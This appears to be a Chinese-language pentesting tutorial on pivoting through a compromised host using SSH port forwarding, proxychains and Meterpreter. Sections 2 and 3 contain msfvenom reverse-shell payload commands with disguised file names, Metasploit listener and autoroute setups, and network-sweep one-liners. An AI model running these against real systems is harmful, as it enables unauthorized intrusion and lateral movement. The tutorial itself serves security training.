:::info 在我们攻击中,我们经常会面临到网段的限制,我们拥有 A 主机访问权限,但是我们需要访问 B 主机,而 B 主机必须是 A 主机才可以访问,我们可以在 A 主机上建立一些端口转发,来进行访问
:::
介绍
端口转发主要分为两类:
- 本地端口转发:本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接.
- 远程端口转发:从远程主机获取一个可以访问的端口,并将其投射到远程SSH 服务器(攻击者主机)
SSH端口转发(本地转发、远程转发、动态转发) - zangfans - 博客园
Choosing The Dig Site & Starting Our Tunnels
1. 使用 SSH 和 SOCKS 隧道的动态端口转发
端口转发是一种允许我们将通信请求从一个端口重定向到另一个端口的技术。端口转发使用 TCP 作为主要通信层,为转发的端口提供交互式通信。但是,可以使用SSH甚至 SOCKS(非应用层)等不同的应用层协议来封装转发的流量。这可以有效绕过防火墙并使用受感染主机上的现有服务转向其他网络1. SSH 本地端口转发
- 执行本地端口转发
- 设置枢纽: 经过发现 Ubuntu 服务器有多个网卡: 10.129.202.64/172.16.5.129现在我们需要知道在 172.16.5.0/23 范围上的主机,所以我们需要通过 Ubuntu 服务器转发我们的数据包,因此我们可以在本地启动一个 SOCKS 侦听器来完成次操作,然后配置 SSH 以在连接到目标主机后通过 SSH 将流量转发到 172.16.5.0/23
# 攻击机执行, 作用是告诉 SSH 客户端请求 SSH 服务器将我们通过端口 1234 发送的所有数据转发到 Ubuntu 服务器上的 localhost:3306
ssh -L 1234:localhost:3306 Ubuntu@10.129.202.64
# 使用 Netstat 确认端口转发
netstat -antp | grep 1234
# 使用 Nmap 确认端口转发
nmap -v -sV -p1234 localhost
# 攻击主机: 启用 SSH 动态端口转发,
ssh -D 9050 ubuntu@10.129.202.64
# 配置 proxychains
tail -4 /etc/proxychains.conf
socks4 127.0.0.1 9050
# 使用 proxychains, 配合 nmap 的使用
proxychains nmap -v -sn 172.16.5.1-200
2. 使用 SSH 进行远程/反向端口转发
SSH 可以侦听我们本地主机并将远程主机的服务转发到我们的端口以及动态端口转发,我们也可以通过枢轴主机将数据报发送到远程网络,但有时我们可能也希望将本地服务转发到远程端口最后结果实现图:
# 使用 msfvenom 为 Windows A 创建 Windows 负载,并传送到枢轴主机
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
# 开启 MSF 监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
# 在枢轴主机启动方法将 backupscript.exe 传送到 Windows A 主机,并执行
# 在攻击主机执行
ssh -R 172.15.5.19:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN
3. Meterpreter 隧道和端口转发
现在让我们考虑这样一个场景,我们在 Ubuntu 服务器(枢轴主机)上有我们的 Meterpreter shell 访问权限,我们想通过枢轴主机执行枚举扫描,但我们想利用 Meterpreter 会话给我们带来的便利 . 在这种情况下,我们仍然可以在不依赖 SSH 端口转发的情况下使用 Meterpreter 会话创建一个数据透视表。 我们可以使用以下命令为 Ubuntu 服务器创建一个 Meterpreter shell,它将在我们的攻击主机上的端口 8080 上返回一个 shell。
# 为 Ubuntu 主机创建有效负载,并传输到 Ubuntu 服务器上执行
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
# 配置有效负载
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
# 建立 SHELL 会话后
# 使用 MSF 执行 ping 扫描
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
# Linux 的 Ping 扫描
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
# 使用 CMD 的扫描
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
# 使用 Powershell 的 ping 扫描
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
# 配置 MSF 的 SOCKS 代理, 并配置 proxychains 配置文件
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
# 最后,我们需要告诉我们的 socks_proxy 模块通过我们的 Meterpreter 会话路由所有流量。 我们可以使用 Metasploit 的 post/multi/manage/autoroute 模块为 172.16.5.0 子网添加路由,然后路由我们所有的代理链流量。
# 第一种: 使用 AUtoRoute 创建路线
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
# 第二种: 通过从 Meterpreter 会话运行 autoroute 来添加带有 autoroute 的路由
meterpreter > run autoroute -s 172.16.5.0/23
# 列出活动路由
meterpreter > run autoroute -p